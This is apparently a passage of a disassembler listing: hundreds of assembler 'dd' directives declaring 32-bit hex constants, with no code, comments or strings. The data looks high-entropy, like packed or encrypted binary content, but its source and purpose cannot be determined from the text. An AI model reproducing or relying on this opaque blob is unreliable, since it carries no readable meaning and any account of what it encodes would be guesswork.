0C6089A59h dd 40DB9E40h, 4566BC69h, 0C42966F1h, 485FB31h, 1A0AA67Eh dd 806E95CCh, 81DA1D19h, 58B40194h, 1974D01h, 888EF5Dh dd 0E408D640h, 0F3A308E7h, 15E63C08h, 53109035h, 483010E5h dd 0E819D833h, 4ABA4910h, 3198A010h, 7346C1ABh, 0CEC8803h dd 0FDD8395Bh, 3C65201h, 6CC91002h, 6B83105Ch, 31EB0510h dd 0C586E14Ch, 0C910D203h, 0B81082E9h, 562C10B9h, 20940C2Ah dd 7A75FEDBh, 81E91E80h, 3DA188CBh, 5BF008C3h, 31B8B915h dd 53E6A1E1h, 1CEED01h, 0C2017074h, 8D97017Fh, 41102E03h dd 3510BCF5h, 5A1519C8h, 0AA01F661h, 0BF12019Dh, 99607501h dd 0E309AB79h, 3195B190h, 64A15162h, 0A4A2CD02h, 3202A2D6h dd 5DCA0284h, 54219806h, 0C413A48Dh, 4676B29h, 0DE0AFB26h dd 846995BCh, 6A990F10h, 0CA901C1Eh, 10EE8110h, 3B107B77h dd 872C1083h, 38B0F210h, 0A961C0F8h, 29989B94h, 0D32B2169h dd 81472380h, 93EC510Ah, 14C404CCh, 0D1B8EC04h, 1FD55204h dd 1E2AAAD0h, 634D20E0h, 0A6807371h, 54A49009h, 644AC884h dd 0C4C7950h, 40C94988h, 0DA4037B8h, 201E192h, 48FD02A7h dd 80D0F0B0h, 5809004h, 0ADCF8045h, 0B4503881h, 4EA6EE7Dh dd 0C7845C7Eh, 0F9D29809h, 0E0235041h, 6960A980h, 5EA2AF10h dd 0F6D8072Eh, 221BBA7Ah, 1852DFD1h, 46DCD900h, 839516B8h dd 0F2E8007Ah, 0C1BA2F02h, 0D62C8903h, 6BB8EDh, 0F27EEE98h dd 15AE0E23h, 0B28742B0h, 90185F1Ah, 6601D25Dh, 0A45E3CF5h dd 0B02A9627h, 0E001821Ch, 0C1CABA28h, 83D44698h, 2B140034h dd 6DA00A45h, 8261B6F4h, 0C32CA128h, 0A29A708Bh, 0AA5D10A1h dd 0C5AA3066h, 556C7C00h, 4E41F503h, 0A2A114E2h, 0BB008831h dd 9A348487h, 90C03FD7h, 0E9388E13h, 0A66400B8h, 11C02E53h dd 0B407C79Fh, 0F5BD089Ah, 5D0D7D00h, 0B1DA38C5h, 99C26200h dd 0F73C88E3h, 0BD955C03h, 0D9E18DFAh, 58805161h, 58E62055h dd 0A11BC86Eh, 0A08005C4h, 4E3CE298h, 0DF407A8h, 7668063h dd 0EE0C1659h, 40A47E99h, 1F7A7E2Fh, 14F4E7D9h, 220AB0C9h dd 187CAF76h, 0B763C1CAh, 8C5B043Ah, 683F98A1h, 9D949E1Bh dd 0BBCB0F0Eh, 9A1C101h, 82208751h, 8F83E17Fh, 0BA100511h dd 0AC68F57Ch, 1904198h, 478D4164h, 33BEE090h, 0ED005D71h dd 475C22Fh, 0DBCA23h, 0DC59C95Ch, 301531AFh, 0CF1E1A00h dd 2CCC5DA9h, 0C161F36Ah, 8C5064DDh, 538024h, 0B5896147h dd 5F766314h, 6600C2E2h, 0B25687B1h, 31F50F20h, 2D90C116h dd 5BD570C4h, 0ACBA3700h, 0CB7D5F7Eh, 0D6423CF0h, 8309BD1Ch dd 0B13CA0FBh, 6E62F806h, 0A05855EBh, 909AC40Ch, 34A04h dd 0F598A988h, 60C2D6BAh, 52D90B36h, 0A25E0A40h, 12CC5B3Eh dd 17407BCh, 33914047h, 0A5092D12h, 9058380h, 8904C00Ch dd 0C269C8ABh, 0D28D4930h, 84E11EF0h, 57D5CC1Fh, 850A2618h dd 0BC27FBA1h, 45D150Eh, 6894C721h, 0D217F4A8h, 8054A145h dd 4C840770h, 5AA19CECh, 727000FCh, 85098790h, 0B5B4EA00h dd 3145DDCh, 5EBA024Fh, 43FE3EC6h, 5479C078h, 5C315F00h dd 5D120D8Bh, 0C901FC8h dd 3E18799Ah, 2257988Eh, 10218C01h, 0FC1EDB8Fh, 904E98F0h dd 800350C4h, 0A1012893h, 0E422BDE0h, 0D07A8109h, 64B25B24h dd 0F35D7D05h, 986CC02h, 7885A84h, 38228F08h, 0C48A0CCh dd 0F7001755h, 9CD6233h, 0F7351B4h, 85D0FADh, 567E9A63h dd 16A53803h, 0A2C38A1h, 0D25F09F8h, 985CE0B4h, 0F93EFB6Dh dd 30840049h, 0B4C9C37Fh, 0B508159Ch, 5C208C0Dh, 82035492h dd 9CA1D87Dh, 5583C34h, 98710C15h, 3908951Eh, 0C8E6B4h dd 0FF2A9CB4h, 0D500D0E5h, 6E5A3305h, 395460B9h, 377718Fh dd 9A388ABAh, 98013562h, 9E019114h, 98482155h, 0A62D32A1h dd 44574270h, 50E2485Ch, 90FA858Bh, 0DC553E4Bh, 0C82A7F44h dd 0BA628837h, 49BA910h, 565C88FEh, 8C8C20E3h, 6F642249h dd 2BCD05F0h, 40AC944Fh, 14661CF6h, 3927002Fh, 0B4DD0221h dd 31307D0Bh, 0D18CF0CCh, 0AED0FA5h, 1080C23Eh, 0F5114E3Ch dd 0A0E44430h, 29D97F0Bh, 0BA8C55Ch, 800C2C0h, 0A192BA5Fh dd 14E9BF20h, 80280809h, 7CC3898Fh, 0B17C0BA7h, 55065F04h dd 58C83DAAh, 401E7C57h, 22022EC0h, 89A11F51h, 44F46271h dd 277E2064h, 63B58490h, 0C800DDECh, 74F4B4D6h, 9770C075h dd 9B5D1E93h, 0D78A4D01h, 555E999Dh, 0D736892h, 8450BC58h dd 2EB775D1h, 5E00F815h, 0F50A3E9Eh, 8C9955B1h, 3E52A03Fh dd 999E1F56h, 0D510B0B8h, 0E2D3118h, 7D508273h, 5C506877h dd 1B2FC9Fh, 7061DE9Eh, 252C80F5h, 0A078AAA0h, 0B92E1FEEh dd 66021FA4h, 0CA8C521Bh, 71008998h, 0FA5700B4h, 91189A85h dd 116B10C0h, 69C245h, 39D4179h, 0BC999FB5h, 3020C364h dd 24DC9488h, 42D40CB8h, 1068A1FEh, 80FD5AF4h, 0CD2A8191h dd 247D2079h, 941C67C3h, 0C285F4C9h, 62280995h, 0D891C4A7h dd 0A4018E00h, 0D18D06h, 6684CFB3h, 5D859EBAh, 0B0832CB6h dd 8663F586h, 0B5DC0210h, 0D280EBEh, 9A7AA880h, 7D807859h dd 0A7930F0Bh, 2A832C73h, 0A9F0B556h, 0CB0F2B13h, 8A676Ch dd 84F514B0h, 0EB7301A6h, 47C8F96h, 757085DCh, 0E8533D39h dd 0B6241C00h, 16C0A568h, 472335A1h, 83D67784h, 0E121DC36h dd 3BF4069Ch, 2F58402Dh, 37EB03DCh, 5166851Bh, 1825FBA1h dd 0F0298403h, 0C53CD3A1h, 3197C258h, 305F6E94h, 0A4A4CCBCh dd 1F179A10h, 9010744Ch, 56BB003Ch, 21A149BAh, 178906Fh dd 0D8F45507h, 0C9A33754h, 78E8A8E8h, 0A02EBD74h, 0D8B6CF7h dd 5C778616h, 79610048h, 1A2D2454h, 509AE1B4h, 83388449h dd 45B7C7Dh, 936986A0h, 9AACC05Eh, 0E80724Ah, 21272A76h dd 0BA5704A0h, 904BBCF4h, 0FD893E4h, 20CB4409h, 0AE908088h dd 72F7D2A8h, 5831EA55h, 221858A6h, 789270B9h, 0F00DF520h dd 7CCB00D1h, 0A459B731h, 0E4A08985h, 4452C75Dh, 90061090h dd 0E9215601h, 28AB9F99h, 0DFED8020h, 3F9546Bh, 17C9F055h dd 0A4A09ADEh, 0CF0292DBh, 72D5C494h, 6DB84162h, 3000A83Ch dd 0DC8FFC14h, 0F4497DF0h, 44632630h, 0BB761203h, 6FF1261Dh dd 0A8044900h, 28540D70h, 927404E0h, 0C1C407A8h, 40188E80h dd 99CC5CB7h, 1F44E707h, 39E1E2BCh, 0CC420D0Fh, 0C03D05C9h dd 0CB782390h, 2FA2440h, 99DC7781h, 13024922h, 1AE0C85Fh dd 5D0A8616h, 0E07E0901h, 40E27A62h, 822D74h, 98612512h dd 0CA0D6B91h, 5DD79900h, 0FD86AFA9h, 51820E09h, 0AAAEC2B6h dd 0EEB3A1E2h, 0DF7684C8h, 39A4B09h, 0B8C9938h, 0CA8D160h dd 0F7247D0Dh, 951D6368h, 0E42EB699h, 2F54F880h, 590371E5h dd 0C2C4B057h, 60808D98h, 705A7DF0h, 5B8538C1h, 5DF4B030h dd 145924C3h, 4C4F2094h, 892807C8h, 0B6084091h, 8598003Ah dd 0C36A1955h, 8ADC8100h, 0D8E20D9Bh, 9110B920h, 86F40CE0h dd 5033386Ch, 0A2A1900Ah, 0ED9C80F8h, 0F480E442h, 26F87895h dd 0A5E84A1Bh, 0C8202820h, 6B09FDFBh, 11980913h, 81EC95C0h dd 0CA7B06C2h, 68E97033h, 82E4492h, 7478C84h, 0DA5F1580h dd 6EFDF4h, 0F06CD31Ch, 62031960h, 9BA18791h, 0C4903A5Bh dd 0B518E2BCh, 7D1340F4h, 0C8564D30h, 1771985Dh, 2802ED5Eh dd 9500C368h, 0B79A0A8Dh, 0B8F3C95Dh, 0DED703E0h, 0C27E4BEh dd 96A0080Ch, 1E930FEh, 1F7BCAB2h, 5407F57Dh, 631098CCh dd 0A1418094h, 0A0804E10h, 0BC9EBA8h, 5454DA97h, 2341D8ECh dd 9BC3C1E2h, 485EFC48h, 0BF10A0C7h, 7E561663h, 5B99F820h dd 0EFC8083h, 520D667Ch, 0D06105F5h, 61C042FAh, 7032AE4h dd 0C8E01116h, 981C9C28h, 24E4A34h, 0C1D2BC8Ch, 0A44A746Eh dd 0D04814h, 547ABB53h, 0FB5D985Ah, 80C20840h, 93C024Ch dd 6D3B75F8h, 31ABD8E8h, 14FE1280h, 0E473766Ch, 5CB5FD10h dd 106BC0B8h, 0AB1CE3A1h, 0A1D7C244h, 0E5EE9AE4h, 8201C21h dd 0C95664C5h, 23572080h, 0E19A5186h, 6310108Bh, 0A1941C20h dd 58C02ACAh, 40F579BAh, 3C40CFDBh, 22917800h, 21C0155Ch dd 0A7CFC1B2h, 70903CBEh, 358B7103h, 2DE2CAB0h, 103AFCE0h dd 0F5185305h, 189148CCh, 4880119Dh, 572EEE24h, 0F5130C06h dd 8833D967h, 0C074D02Bh, 1BA11AA4h, 56C1B8F6h, 5042057h dd 3103F531h, 4C281033h, 0AC89C09Ch, 0A919F513h, 2289090h dd 0CC20E85Fh, 0A280151h, 0AB8A9EC2h, 3858D2DAh, 3B7DF415h dd 786F24B4h, 579E62E1h, 4A552820h, 0C9304022h, 0C2ACDE9Ah dd 0F56E710Ch, 984C6176h, 0E2CEE48h, 0BBB51C42h, 0FC91CA2Bh dd 0E5DC30ACh, 103C809Ah, 0B0644D5Dh, 7DD38F12h, 0E68E7B9Eh dd 65F467h, 0A31D0DA4h, 0EF937D3Ah, 3284A494h, 0B4C0400Eh dd 7C9DF7Ch, 9794DC99h, 7A9D8391h, 89875833h, 0DA15C95Dh dd 0D39B6D70h, 0EADC415Ah, 640D5F55h, 0F0C4570Ch, 14F0AF1Bh dd 66CA055Dh, 0C5F521F4h, 0D9E4884Eh, 61CFCC96h, 0D465A106h dd 20F872F2h, 2F0438AEh, 59C1C274h, 5EB6B4C7h, 90F304E8h dd 0A0E282C3h, 29307588h, 9A363052h, 607760DCh, 0A87DC82Fh dd 20281400h, 0A1AFA40Bh, 946E4CD6h, 87905909h, 0B0A478E5h dd 8090CA0h, 0A35AC67Dh, 0A0FAA374h, 78840A1Eh, 4B9E421Dh dd 2380901Fh, 96CA1A74h, 20D2DEh, 5B201F00h, 0A32C5E77h dd 98486418h, 4688494Fh, 0BECB00A8h, 930964C3h, 1D0535CFh dd 82922E25h, 0B20744C0h, 0B9E02405h, 0FA850CA0h, 42003B76h dd 3ECD917Eh, 89EBE8h, 414479C2h, 39A0BE95h, 0E29AEA00h dd 18D52651h, 0DE3F30A1h, 7B7D0BB8h, 0EAE01060h, 514716h dd 0C9953184h, 0AD99EEC1h, 0E0A0456Eh, 309ADA6Ah, 0AC702D5h dd 2FA3F523h, 0F899ECA0h, 981ED1ACh, 9AC9ECBDh, 8B85055h dd 0DDFAF508h, 0B4F13C00h, 3AA01Dh, 836DF456h, 990AE27Bh dd 9549B5FAh, 0BA371F80h, 4CC8F035h, 0A54740F2h, 74252C90h dd 0F4ECA2D2h, 99A85085h, 3B882C00h, 5FD7600h, 2EA18D44h dd 0F44194Ch, 4AE7321h, 48169A5h, 0A0908071h, 123500B9h dd 4B6E572Dh, 0B5F419C0h, 40D218BAh, 86994244h, 0D77E0B09h dd 8300325Ch, 0A82E8F54h, 2A9A2DE1h, 27EC9F78h, 0A01184FEh dd 718DAh, 0BA965606h, 9FA18677h, 2120B465h, 149A18D0h dd 0D562827Ah, 8E0C1879h, 58B0D002h, 84041888h, 72B21Bh dd 0CA491AC9h, 9497009Fh, 9D09086Ah, 759885BEh, 1A205500h dd 61790FAFh, 0B57C3B90h, 0A4A0805Bh, 0F01E5505h, 0AFCF4834h dd 35CDC009h, 7CD55714h, 30152E10h, 9D5C4360h, 7C89F288h dd 0F51B4273h, 0C8E818B2h dd 3C2B0A8Ah, 0CD3FFF23h, 0DB4AA26h, 24200B72h, 22168620h dd 104BA98Bh, 484C02E2h, 0CA54C93Ah, 74169867h, 0E1FCA517h dd 6064645Bh, 920BBA40h, 619A26E0h, 69258F8Ch, 82727C84h dd 802F0AB8h, 0EE398497h, 955E0034h, 0DA8DFC5Dh, 2101A6FEh dd 19740B28h, 2080960Ah, 0F506419Dh, 78C00F2Ch, 0E9D7A222h dd 550A007Bh, 723BA8EDh, 0F44BA1D0h, 3310B001h, 0C8406E45h dd 0C057BEF5h, 7C780238h, 0C098F98Fh, 14398316h, 321A4C04h dd 0BC01CD00h, 0FE0F4B22h, 0F3A1116Bh, 91415440h, 0B2701BF5h dd 6AE134FCh, 4F808818h, 1C36BB80h, 0D53484FDh, 4E01F86Bh dd 5D73C217h, 0F4087413h, 28918B64h, 123B30F0h, 47B8101Bh dd 2D66C254h, 860C3C18h, 5E706C20h, 7A1CF013h, 4788EE09h dd 620005B8h, 550C0800h, 1E1106AEh, 19A13089h, 70A7386Bh dd 200BEDCCh, 0A26E0F0Dh, 0C0AF4FA8h, 268688B8h, 0BEEC630Eh dd 5453FD16h, 5C3FECECh, 49891FCh, 0CCD4900Dh, 0D9400408h dd 228D1C06h, 77A482B1h, 0A0C4E2BCh, 81B8F200h, 7A09D674h dd 9F942E1Dh, 0D39504FCh, 409CB542h, 0BFE634D0h, 3050CDFEh dd 0AE3B09C0h, 68B99815h, 0CF7611h, 55692671h, 47BB0421h dd 9B895D1Fh, 0C498E1D4h, 48213C0h, 0F00EC06h, 0C8718409h dd 787D5FC1h, 54188440h, 0C8E2C1ABh, 0A0CB5E18h, 209F70EFh dd 90BA3FF4h, 0FE9E0C01h, 0F41853C1h, 0A0AC0928h, 8172272Fh dd 0FF95211Ch, 0F770C03Ah, 7D16C39Eh, 0B88C63FDh, 0B91040EFh dd 7B9A811Eh, 86FE78F1h, 5626306Dh, 62B009Ch, 97D5C01Fh dd 300877Bh, 0D0C16CD2h, 39BA009h, 55FF746Eh, 0F6B04DF3h dd 0A90901CCh, 0A04C2A7Dh, 1E5DC10Ch, 0C2463EA3h, 90424105h dd 2624C003h, 807986D3h, 20E4A15Ch, 9447FC35h, 8EFC8F58h dd 8A017CBh, 76EAFE21h, 840010E8h, 83F753CDh, 0F00F8E61h dd 0FC9D0501h, 845A2888h, 0A16CC4E8h, 80FDE308h, 0EFFB9288h dd 8AB07C3Bh, 0E8449D1Dh, 64FC7E80h, 3B550D01h, 18046FF9h dd 0F04BA1C6h, 309872B8h, 61093B69h, 6021AC0Ch, 0AC300FD9h dd 0B93BE85Ah, 210C1314h, 2B2D240h, 17C078FCh, 3E53008h dd 68A1CAD8h, 0F21EA0CEh, 8D075E5Dh, 0D7CF15D5h, 206C20B1h dd 0A068F4C5h, 1F00CDC8h, 4272F639h, 0C98C69h, 0B4F2DA9Dh dd 7A371BFh, 96BA61Ch, 33599641h, 6D305C70h, 0E0809C02h dd 618C6642h, 0BD0D851Fh, 0D43819A5h, 0CE30812Fh, 87382h dd 156C2C0Ch, 2789C3E8h, 0DCA0BA2Fh, 0D40A18Bh, 91E0D0D8h dd 2439094Ah, 38800785h, 0FC5F6656h, 505B096h, 0D4A33192h dd 4C418041h, 830049C8h, 0E6741B22h, 31E0C0B7h, 753B128Ch dd 10845484h, 32064400h, 0EC9AA91Ch, 8182C500h, 5C970AD6h dd 1696005Eh, 0A931FCBEh, 0D0B05F95h, 9A05CC9Ch, 0CC563453h dd 7CF5F091h, 220BAC3Ch, 0E422C6FAh, 24E4C2AAh, 0EC57C0CAh dd 0B2573F1Dh, 0A4C8F09Ch, 0B4FC90ACh, 7904168h, 939A03A7h dd 918044Fh, 0D11B37F5h, 70848508h, 5500FA6Fh, 4439E3F8h dd 47D89BFh, 141F2C0Bh, 0EC4080C1h, 0E500BB0Ah, 330CA524h dd 7BD06CC2h, 5D200727h, 6084C1C8h, 8C684278h, 851B3918h dd 4B50D59h, 0AE7D09C4h, 0F278C0D5h, 6C00C1AFh, 17891CECh dd 0C0FA10F5h, 0E1328491h, 0D53C5CDEh, 339C1A0Eh, 0BEECD011h dd 6C1DB000h, 0E1587582h, 9D0D001Ah, 966B3E81h, 1E2805B2h dd 0D01323F5h, 0BB01A09Ch, 207958h, 1C9766BAh, 2F9A2F45h dd 5000936Eh, 680FA0F4h, 0B94818B0h, 81020448h, 28F1EF5Dh dd 9A09B466h, 0B0125088h, 5FEC881h, 0AC982445h, 618E195h dd 40127864h, 3603D3BBh, 0FC1EAAEEh, 0B30A37Dh, 5817530h dd 80673825h, 4E51CCA4h, 0A2F6F38h, 9CFE067Dh, 5E229300h dd 0A35F78D2h, 4365E9A8h, 4FEC19ACh, 2FEFD581h, 0A1C084C0h dd 78ACAB1Bh, 7DF4A44Ah, 1C037BFFh, 0C1B58985h, 10826BCBh dd 0D84A188h, 390C9471h, 164259EAh, 0C817F7FEh, 853F13E8h dd 2904DA1h, 8FD5D12h, 1054D182h, 1037C9F5h, 0B2CF7DC4h dd 0F1CCA648h, 0A1F0B0F2h, 30645D83h, 58377450h, 0D580C0E8h dd 2D122EE6h, 0CB400094h, 5CD0DF9h, 5D9F4234h, 0A0800A3h dd 766CA5Bh, 68ACFC34h, 0B34BFCC1h, 20548510h, 0E50BA701h dd 0B0C5A199h, 9A86892h, 0B4302DC0h, 0A76292ACh, 6E670318h dd 0F69A1268h, 2DB0217Bh, 1CF0037h, 0EB490F52h, 20DAE799h dd 0E07F30C0h, 14980B80h, 8C4E62DAh, 81FAD317h, 640ECCh dd 0D7B281A1h, 2EC49860h, 0E04C0F43h, 82301410h, 540AC2F4h dd 0D78E4044h, 30596F9h, 0ADE09A85h, 2A7860A2h, 22D89BC5h dd 0A12D861Dh, 0C2840291h, 12F07199h, 1B44E45Eh, 0D8CAA02Eh dd 150530A4h, 0F8E0887Dh, 99980289h, 76D8DAFCh, 0FAB41E0h dd 0C24A7D27h, 14B4C4F4h, 0A8BC3694h, 7CBA3809h, 2FA82488h dd 56623438h, 74D930D2h, 406AD470h, 0A8CBC458h, 89340707h dd 9C4003C5h, 4C9C223Eh, 27C10025h, 0B5127C3Ch, 300F3DA2h dd 8107C390h, 0F8054099h, 62248020h, 8B7161DBh, 0DC62C0E1h dd 7D092A02h, 1042EA12h, 128D0B5Ch, 4D706FA1h, 40808354h dd 0D8F9F40Ch, 0F29A0980h, 518165Dh, 0CEB009BDh, 2482878h dd 39B00090h, 0ED3CC1FBh, 66C023Eh, 340DA550h, 0FFC050C1h dd 0A91DABE8h, 0A0303F6Fh, 8971F9AEh, 5D0C177Ch, 0C008D2CBh dd 0F3004471h, 33E32098h, 3FEE8BEh, 5D2172DCh, 18A666DAh dd 506C27Ch, 84E5A14Ah, 7C8382C0h, 0F898982Ch, 710BA045h dd 2BF6D574h, 7D60E0E0h, 4704C91h, 98C025CEh, 4D155589h dd 8095C33Ch, 5DFB7A0Ah, 0E5645C9h, 9F5B76F5h, 9058E789h dd 0DA3AA1F8h, 8F613F5Ch, 0E024C5E2h, 0C819178Ah, 0A2071E80h dd 0BD16000Fh, 0AA08732Bh, 0A67724F0h, 7B8F10C0h, 0F86B07C8h dd 63F74B4h, 0A677EF2Fh, 2D00215Fh, 0DD7A33D8h, 3CBF230h dd 3AB344A2h, 0A3C2F8C5h, 0F02D0882h, 0A58014AFh, 75688655h dd 2C8CAA01h, 0A606237Ch, 589F13DDh, 38D0070h, 0E557983h dd 6E5EF000h, 95EADBBDh, 8405008Ah, 63AE8F4Ah, 6D00B688h dd 0E08A216h, 6CCEA1Ah, 6C8A5B75h, 3324A8B2h, 0A6065A25h dd 0F0605A5Dh, 0D7F02Fh, 52A1721Eh, 6B67C07Eh, 93DA7607h dd 4834864Eh, 3458D203h, 8272BA0h, 0F20FB205h, 9020A9CAh dd 341EE88h, 0A63043B7h, 18033F19h, 8A8BAC72h, 8068672Bh dd 32C04F1Fh, 12A1C8D2h, 0A500F2E6h, 618A24E7h, 181AF6ADh dd 40AC71A6h, 0CA31D275h, 8AF02897h, 50F267D8h, 253CA2h dd 0EF065727h, 0CA7AEC5Bh, 320C5E79h, 0B877EE2Dh, 498A192Bh dd 40D93061h, 1DE0AD1Ch, 0FD20C01h, 0ECB271Fh, 6A6884Ch dd 9380D684h, 5E4810DEh, 8B441808h, 60BF5280h, 0EA10C826h dd 41308A2Eh, 80E58B0h, 371FCF9h, 3DB52AB7h, 6D984955h dd 0A20EB09Ch, 80AFF79Bh, 0F2310CCDh, 0FE63049Dh, 82AD2224h dd 0D4A1F648h, 0D05FBA62h, 0DB7C1B4Eh, 1842E730h, 41316Ah dd 0E8A9859Bh, 0B2864557h, 2D36B800h, 244FA5C0h, 9BF21D09h dd 44B34FA4h, 6323F180h, 720A0142h, 8D92C95h, 0CA52EC00h dd 0A08A8FAAh, 0A0067394h, 29ABEA88h, 0AA0F02Ch, 629CD622h dd 8A211AF8h, 0F980BCE1h, 0EDA4AA01h, 911811F2h, 7520D993h dd 0FD9D80BFh, 86852E03h, 0C02462EBh, 720F79h, 0B3F81438h dd 0C55DAEABh, 0D52E4709h, 1F7400BBh, 737DA8F3h, 5380813h dd 51094B7Ah, 5A0407ECh dd 192BD32h, 24440541h, 4703C884h, 0CED2746Bh, 7C10C6Fh dd 5E8ABEDh, 280D4F31h, 0E42177B8h, 0E38BF003h, 1293D83Bh dd 5F7CB2h, 6A43837Eh, 4B4214E7h, 8A2FCA0Fh, 0EDF159EFh dd 1C1122C4h, 7035D27Ch, 0A9A4F468h, 2780B062h, 0EB24400Fh dd 0C59CA11Ch, 30728307h, 5F541000h, 0AABF1F5Dh, 0B0560089h dd 1E5E41A9h, 0EDE81D69h, 74D2D119h, 10FCF258h, 1C6D5868h dd 0C075FC19h, 5B3FEC53h, 45318AE0h, 0A52D98A4h, 4F3D084h dd 0B7AA4533h, 543DF020h, 80DE2Fh, 1D232E16h, 9F00723Ah dd 9E0F76A8h, 308A699Ch, 5F30A631h, 227761E6h, 38076230h dd 0CF827Dh, 7250F566h, 0F27974C5h, 1728CC00h, 0BA24F45Ch dd 9DBB2A8Ah, 90A394h, 65B2AA71h, 0A5823B83h, 18B1DB32h dd 120C6C23h, 50564827h, 1024A0C4h, 397701BCh, 80024305h dd 0DE9F9249h, 45FB35h, 447BBA2Dh, 0C76A39E2h, 0CDA60400h dd 2869AE8Eh, 40996694h, 8246934h, 721D70CAh, 1F2DD204h dd 4B24A00h, 38C9E036h, 0F27C1084h, 33503C9h, 0E6AD8C08h dd 884A1C2h, 203CC427h, 6B4FB070h, 1353720Dh, 62F84077h dd 96B20ACAh, 41BC563Eh, 0DC36B62Ah, 0B89277D7h, 12D0C052h dd 60431166h, 3BE905h, 3C9BFA30h, 9962B554h, 4C5A852Ch dd 0B02038h, 621BC25h, 0D78A63F5h, 0C681A58h, 28667A39h dd 0A59A4001h, 0B0A2ED06h, 0EEB8782Ah, 8C88829h, 0B87D6B09h dd 375C0038h, 30053A57h, 17201BB1h, 5B00404Ch, 13BB8974h dd 0C2C381F0h, 0A2DD2508h, 0ADE3B440h, 8988090h, 6460B7F0h dd 0C7D428D0h, 448E8FDh, 0BE8AC6A5h, 434D063h, 0C8F21C66h dd 5FFE0F03h, 5546B05h, 82766970h, 8ECEC36Ch, 4D6E15F0h dd 1D061300h, 3C195740h, 53D83444h, 7EF081C1h, 4CD60468h dd 0B05A7489h, 0F420F314h, 0E2032805h, 4BDA33F0h, 41022B48h dd 0A5A65B14h, 1AF860C1h, 0FF8A77E0h, 0D2839822h, 0E84DF406h dd 5098D040h, 0D360A8CCh, 0E3C16160h, 0CCA07B6h, 90CF7ED6h dd 21BAACFBh, 5E0010B0h, 2A648533h, 6EF1A5ADh, 27EC78BFh dd 84901B48h, 786EB099h, 34863820h, 909052FEh, 0DDF30554h dd 5B478C9h, 4CC52D1Ch, 2A2B1C02h, 50BBE00Eh, 0EA9E1271h dd 0C8E0058Ah, 41F4206Fh, 2C59D27Ah, 0C9720CC4h, 2EA61826h dd 9D6C7C50h, 0C12300BDh, 0ACA8F46Dh, 285AA00h, 416B71F3h dd 57FF012Dh, 4ED9B623h, 0F1883037h, 4A509160h, 98B270A9h dd 3A90B0E0h, 480684B0h, 0D828838Ah, 85803214h, 0AC722C58h dd 0FD95A643h, 0E449F08Dh, 0EC568C0Bh, 0FD0532Ch, 5098AA7h dd 0C25F8402h, 0D1A6F0C0h, 47F03641h, 498C998Ah, 5AECE4A8h dd 2D027C66h, 270C1D9h, 417C6277h, 0BC743234h, 2918378Ah dd 0D3275028h, 5137552h, 0C48248Dh, 1B21777h, 6D8358ACh dd 8DEAD831h, 0CCFD8F00h, 8678C088h, 14820F03h, 6FA88A09h dd 0D7ED3207h, 0FF0B0EE0h, 19D4E064h, 0B883F8D2h, 0E03031ECh dd 10C01267h, 0FA9F070h, 0A4A53EDFh, 8B132C48h, 64C16DCh dd 2828EDB8h, 9062605h, 8024B6AAh, 7431E0C5h, 603422D9h dd 60CA0082h, 8DC407C0h, 1B000DFBh, 0DEB23BE4h, 4FB8AAh dd 0E23879Ch, 0BF10B5EBh, 7A06A27Eh, 0ECF9DD33h, 98B48C40h dd 8654A570h, 20B98A0Bh, 9F7EA618h, 49298688h, 30667426h dd 7513887Dh, 890062ADh, 0DA8BFF2h, 5EC30CEBh, 7780F9Dh dd 8300D24Ch, 582C0853h, 830018C9h, 72DF6721h, 0C574CC4Eh dd 1AFD0A00h, 3F89E9E1h, 9E540179h, 53A8D22Ch, 0E94F3178h dd 98B93Ch, 2D75B48Ch, 253A6786h, 500025A6h, 0ADB3395Dh dd 84D2AA0Bh, 0CC1C2462h, 26051C88h, 800CE34Dh, 39553E23h dd 0A50CCD4Eh, 30602BD2h, 74045820h, 45203058h, 2E0ECE01h dd 0D3FCBF88h, 296A430h, 523165Bh, 24C860D1h, 7B293486h dd 4A02A488h, 81FC7292h, 0F5F405F8h, 8A5D7882h, 30C8815Ch dd 0BC055BECh, 0FCD38F3Dh, 49600B82h, 5AF9BE78h, 40E72820h dd 4CA01B5Dh, 0A8900AB0h, 24B20B20h, 6218020Eh, 25043557h dd 107A98C0h, 82F0F73Eh, 0A0549211h, 3DEA5C04h, 0B807CAFh dd 0F25BD476h, 70001BC5h, 0D2796C42h, 0B2ADE925h, 2F1F001Ch dd 0F02D4748h, 860F5E4Ch, 1DD92531h, 53DA683h, 1890F5C7h dd 2D3CFF2h, 4B50D1Eh, 90A76457h, 0AA07907Ch, 820C6945h dd 9066B9D2h, 0A8277B29h, 0B82A74D0h, 0D59D2448h, 0C2C40398h dd 30E7C3EAh, 0D27E8690h, 387A8A30h, 26055E80h, 5209867h dd 1006235Ch, 4E84C0D4h, 0C74918Bh, 43C34AAh, 9C5B040h dd 2D3F1CE3h, 0A7115880h, 344C22F7h, 87F5008Ch, 508A59E2h dd 8C3094B5h, 0ABC922FAh, 7499357Bh, 0DD941980h, 98AC68D2h dd 7AEA3EB4h, 9505F4Eh, 7C214426h, 76EE2CA9h, 0CB284C68h dd 86BC8117h, 0B42308ADh, 0EB150509h, 76631C00h, 0BC2EE601h dd 620347A1h, 3CDE308Ah, 56923C40h, 77B8882Ah, 13F4AC48h dd 0E830897Ch, 30D273A0h, 9E914702h, 0E69DD85h, 25448771h dd 0A4A4B8BAh, 6A0FA08h, 58C7FD8Eh, 0F53780Dh, 0DC604137h dd 0D9417B2h, 0ACBC20EFh, 90B28AB4h, 0EA2F3301h, 3F133E75h dd 37ED8BE1h, 9040D477h, 1A80807Ch, 1D2FCA12h, 861F7446h dd 20A09008h, 0AC06D184h, 0C44E8AE8h, 6EE0A098h, 6FA01F37h dd 0FAA58612h, 7605584Ch, 27408A5Eh, 74870D6h, 0F1AE51C3h dd 1F04601Bh, 148AF8Ah, 0E14C50A4h, 0BC202901h, 43A5A42Ah dd 5A37864h, 0FE26AB81h, 0A6448C70h, 2BB90D20h, 9681727h dd 40995F4h, 94007C29h, 3FD0DC9Dh, 5E02A616h, 0CCF1604Ah dd 705260ACh, 749B00h, 44063022h, 1060AA8Ah, 5B7B35B0h dd 0B95C3B0Bh, 5370C07h, 0AA50BCFEh, 0A4CAB51Dh, 0ED0DA080h dd 5340E90h, 0A5A22AC0h, 55BC93BEh, 0C8060FA8h, 35AD120Bh dd 20180A05h, 5828A068h, 7E887A1Ch, 38239FC0h, 59E30Eh dd 7083F109h, 17BFD622h, 6446102Eh, 0C5E090E9h, 39480F2Bh dd 4C202D7Ch, 88140764h, 897BBD00h, 84D7D2AFh, 4A5A2A8Ah dd 260C7AD4h, 1E3CE7C4h, 197C1A0Bh, 20E97442h, 6E890157h dd 0F268B080h, 9176E7A4h, 0F4D598A0h, 5F153901h, 0ED2CA172h dd 9C830844h, 